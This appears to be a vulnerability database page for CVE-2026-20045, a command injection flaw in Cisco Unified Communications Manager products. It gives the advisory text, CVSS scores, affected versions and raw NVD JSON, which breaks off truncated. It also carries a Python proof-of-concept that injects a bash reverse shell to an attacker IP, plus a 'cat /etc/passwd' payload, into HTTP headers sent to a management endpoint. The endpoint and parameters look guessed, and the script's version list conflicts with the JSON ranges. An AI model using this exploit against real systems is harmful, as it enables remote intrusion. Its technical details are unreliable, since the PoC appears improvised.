Security Vulnerability Report
中文
CVE-2026-20045 CVSS 8.2 HIGH

CVE-2026-20045

Published: 2026-01-21 17:16:08
Last Modified: 2026-02-13 21:37:07

Description

A vulnerability in Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P), Cisco Unity Connection, and Cisco Webex Calling Dedicated Instance could allow an unauthenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device.  This vulnerability is due to improper validation of user-supplied input in HTTP requests. An attacker could exploit this vulnerability by sending a sequence of crafted HTTP requests to the web-based management interface of an affected device. A successful exploit could allow the attacker to obtain user-level access to the underlying operating system and then elevate privileges to root.  Note: Cisco has assigned this security advisory a Security Impact Rating (SIR) of Critical rather than High as the score indicates. The reason is that exploitation of this vulnerability could result in an attacker elevating privileges to root.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:session_management:*:*:* - VULNERABLE
cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:session_management:*:*:* - VULNERABLE
cpe:2.3:a:cisco:unified_communications_manager_im_and_presence_service:*:*:*:*:*:*:*:* - VULNERABLE
Cisco Unified Communications Manager < 14SU3
Cisco Unified Communications Manager < 12.5(1)SU9
Cisco Unified CM IM&P < 14SU3
Cisco Unified CM IM&P < 12.5(1)SU9
Cisco Unity Connection < 14SU3
Cisco Unity Connection < 12.5(1)SU9
Cisco Unified CM SME < 14SU3
Cisco Unified CM SME < 12.5(1)SU9
Cisco Webex Calling Dedicated Instance 受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-20045 PoC - Cisco Unified CM Command Injection Note: This is a demonstration script for educational purposes only. Use only in authorized security testing environments. """ import requests import sys def exploit_cisco_unified_cm(target_url, attacker_ip, attacker_port): """ Exploit CVE-2026-20045 in Cisco Unified Communications Manager Args: target_url: Base URL of the vulnerable Cisco Unified CM attacker_ip: Attacker controlled IP for reverse shell attacker_port: Attacker listening port for reverse shell """ # Target endpoint - web-based management interface endpoint = f"{target_url}/ccmadmin/showDialPlanPattern.do" # Malicious payload for command injection # This exploits improper input validation in HTTP requests reverse_shell_payload = f"$(bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1)" # HTTP headers with injected command headers = { 'User-Agent': 'Mozilla/5.0 (compatible; Cisco-WebEx/1.0)', 'Content-Type': 'application/x-www-form-urlencoded', 'DialPattern': reverse_shell_payload, # Vulnerable parameter 'PatternName': 'test; cat /etc/passwd', # Additional test payload } try: print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2026-20045...") # Send crafted HTTP request response = requests.post(endpoint, headers=headers, timeout=10, verify=False) print(f"[+] Request sent to {endpoint}") print(f"[*] Status code: {response.status_code}") if response.status_code == 200: print("[+] Payload delivered - Check for reverse shell connection") else: print("[-] Unexpected response - Target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False return True def check_vulnerability(target_url): """ Check if target is potentially vulnerable to CVE-2026-20045 """ # Check for Cisco Unified CM version disclosure check_url = f"{target_url}/ccmadmin/about.do" try: response = requests.get(check_url, timeout=10, verify=False) # Look for version information in response if 'Unified CM' in response.text or 'Cisco' in response.text: print("[+] Target appears to be Cisco Unified CM") return True except requests.exceptions.RequestException: pass return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 cve-2026-20045.py <target_url> <attacker_ip> <attacker_port>") print("Example: python3 cve-2026-20045.py https://vulnerable-cucm.local 192.168.1.100 4444") sys.exit(1) target = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] # Suppress SSL warnings for testing requests.packages.urllib3.disable_warnings() exploit_cisco_unified_cm(target, ip, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20045", "sourceIdentifier": "[email protected]", "published": "2026-01-21T17:16:08.077", "lastModified": "2026-02-13T21:37:06.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unity Connection, and Cisco Webex Calling Dedicated Instance could allow an unauthenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device.&nbsp;\r\n\r\nThis vulnerability is due to improper validation of user-supplied input in HTTP requests. An attacker could exploit this vulnerability by sending a sequence of crafted HTTP requests to the web-based management interface of an affected device. A successful exploit could allow the attacker to obtain user-level access to the underlying operating system and then elevate privileges to root.&nbsp;\r\nNote: Cisco has assigned this security advisory a Security Impact Rating (SIR) of Critical rather than High as the score indicates. The reason is that exploitation of this vulnerability could result in an attacker elevating privileges to root."}, {"lang": "es", "value": "Una vulnerabilidad en Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), Cisco Unified Communications Manager IM y Presence Service (Unified CM IM&amp;P), Cisco Unity Connection y Cisco Webex Calling Dedicated Instance podría permitir a un atacante remoto no autenticado ejecutar comandos arbitrarios en el sistema operativo subyacente de un dispositivo afectado.\n\nEsta vulnerabilidad se debe a una validación incorrecta de la entrada proporcionada por el usuario en las solicitudes HTTP. Un atacante podría explotar esta vulnerabilidad enviando una secuencia de solicitudes HTTP manipuladas a la interfaz de gestión basada en web de un dispositivo afectado. Un exploit exitoso podría permitir al atacante obtener acceso a nivel de usuario al sistema operativo subyacente y luego elevar privilegios a root.\nNota: Cisco ha asignado a este aviso de seguridad una Calificación de Impacto de Seguridad (SIR) de Crítico en lugar de Alto como indica la puntuación. La razón es que la explotación de esta vulnerabilidad podría resultar en que un atacante eleve privilegios a root."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-01-21", "cisaActionDue": "2026-02-11", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Cisco Unified Communications Products Code Injection Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:-:*:*:*", "versionStartIncluding": "12.5", "versionEndExcluding": "14su5", "matchCriteriaId": "9A84A37B-553F-48B5-8F92-678A478EE896"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:session_management:*:*:*", "versionStartIncluding": "12.5", "versionEndExcluding": "14su5", "matchCriteriaId": "27BC4E6E-8C4D-4EEA-A8DB-8CBC11349336"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:-:*:*:*", "versionStartIncluding": "15.0", "versionEndIncluding": "15su3a", "matchCriteriaId": "E8EE2A11-29DC-45EF-A9B0-E053C004EF82"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:session_management:*:*:*", "versionStartIncluding": "15.0", "versionEndIncluding": "15su3a", "matchCriteriaId": "99E5929A-E9DE-4370-A363-66BDA1D46BDE"}, {"vulnerable": true, "criteria": "cpe:2.3:a ... (truncated)